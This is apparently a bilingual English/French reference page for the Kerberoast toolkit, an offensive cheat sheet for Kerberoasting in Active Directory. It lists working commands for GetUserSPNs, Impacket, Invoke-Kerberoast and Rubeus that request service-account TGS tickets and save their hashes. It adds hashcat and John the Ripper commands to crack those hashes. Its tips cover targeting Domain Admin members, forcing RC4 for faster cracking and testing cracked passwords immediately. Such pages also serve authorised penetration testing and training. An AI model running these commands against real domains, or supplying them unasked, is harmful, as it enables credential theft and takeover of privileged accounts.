kerberoast
Boîte à outils d'attaque Kerberoasting. Demande des tickets Kerberos TGS pour les comptes de service et extrait les hashes chiffrés pour un cracking hors ligne afin de récupérer les mots de passe en clair des comptes de service. Kerberoasting attack toolkit. Requests Kerberos TGS tickets for service accounts and extracts encrypted hashes for offline cracking to recover plaintext service account passwords.
↗ https://github.com/nidem/kerberoastOverview
Kerberoast is the original toolkit implementing the Kerberoasting attack. Any domain-authenticated user can request TGS tickets for any service account (accounts with SPNs), and those tickets are encrypted with the service account’s password hash — crackable offline without touching the DC again.
Basic Usage
List SPNs (service accounts) in the domain
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1
Request TGS tickets for all SPNs
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 -request
Save hashes for cracking
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 -request -outputfile hashes.txt
Using Impacket (Preferred)
List all Kerberoastable accounts
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password
Request TGS and save to file
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password \
-request -outputfile kerberoast_hashes.txt
With hash authentication
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user \
-hashes :NT_HASH -request -outputfile hashes.txt
Target specific user
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password \
-request-user svc_mssql
Using PowerShell / Rubeus (On-Target)
# PowerShell — list SPNs
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Invoke-Kerberoast (PowerSploit)
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Out-File hashes.txt
# Rubeus — most feature-rich
.\Rubeus.exe kerberoast /outfile:hashes.txt
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt
# Rubeus with RC4 downgrade (faster cracking)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
Cracking TGS Hashes
Hashcat — mode 13100 for RC4 (etype 23)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
AES-256 tickets (etype 18) — slower
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt
John the Ripper
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
With rules for better coverage
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Tips
- Service accounts often have weak or non-rotating passwords — high success rate
- Prioritize accounts with privileged group membership (Domain Admins, etc.)
- RC4 tickets crack faster than AES-256 — request RC4 if possible
- Use BloodHound to identify which Kerberoastable accounts have admin paths
- After cracking, immediately test the password — service accounts often have broad access
Help / Man page
GetUserSPNs.py [options] target
target: domain/username[:password]
-dc-ip IP Domain controller IP
-request Request TGS tickets for each SPN
-request-user Request ticket for specific user
-outputfile F Save hashes to file
-hashes H Use hash auth (LM:NT)
-no-pass No password prompt
Vue d’ensemble
Kerberoast est la boîte à outils originale implémentant l’attaque Kerberoasting. Tout utilisateur authentifié sur le domaine peut demander des tickets TGS pour n’importe quel compte de service (comptes avec des SPN), et ces tickets sont chiffrés avec le hash du mot de passe du compte de service : crackables hors ligne sans retoucher le DC.
Utilisation de base
# Lister les SPN (comptes de service) du domaine
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1
# Demander les tickets TGS pour tous les SPN
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 -request
# Sauvegarder les hashes pour le cracking
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 -request -outputfile hashes.txt
Avec Impacket (recommandé)
# Lister tous les comptes kerberoastables
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password
# Demander les TGS et sauvegarder dans un fichier
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password \
-request -outputfile kerberoast_hashes.txt
# Avec authentification par hash
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user \
-hashes :NT_HASH -request -outputfile hashes.txt
# Cibler un utilisateur spécifique
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password \
-request-user svc_mssql
Avec PowerShell / Rubeus (sur la cible)
# PowerShell : lister les SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Invoke-Kerberoast (PowerSploit)
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Out-File hashes.txt
# Rubeus : le plus riche en fonctionnalités
.\Rubeus.exe kerberoast /outfile:hashes.txt
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt
# Rubeus avec downgrade RC4 (cracking plus rapide)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
Cracking des hashes TGS
# Hashcat : mode 13100 pour RC4 (etype 23)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# Tickets AES-256 (etype 18) : plus lent
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt
# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Avec des règles pour une meilleure couverture
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Conseils
- Les comptes de service ont souvent des mots de passe faibles ou non renouvelés : taux de réussite élevé
- Prioriser les comptes appartenant à des groupes privilégiés (Domain Admins, etc.)
- Les tickets RC4 se crackent plus vite que l’AES-256 : demander du RC4 si possible
- Utiliser BloodHound pour identifier quels comptes kerberoastables ont des chemins vers l’admin
- Après le cracking, tester immédiatement le mot de passe : les comptes de service ont souvent des accès étendus
Aide / Page de manuel
GetUserSPNs.py [options] target
target: domain/username[:password]
-dc-ip IP Domain controller IP
-request Request TGS tickets for each SPN
-request-user Request ticket for specific user
-outputfile F Save hashes to file
-hashes H Use hash auth (LM:NT)
-no-pass No password prompt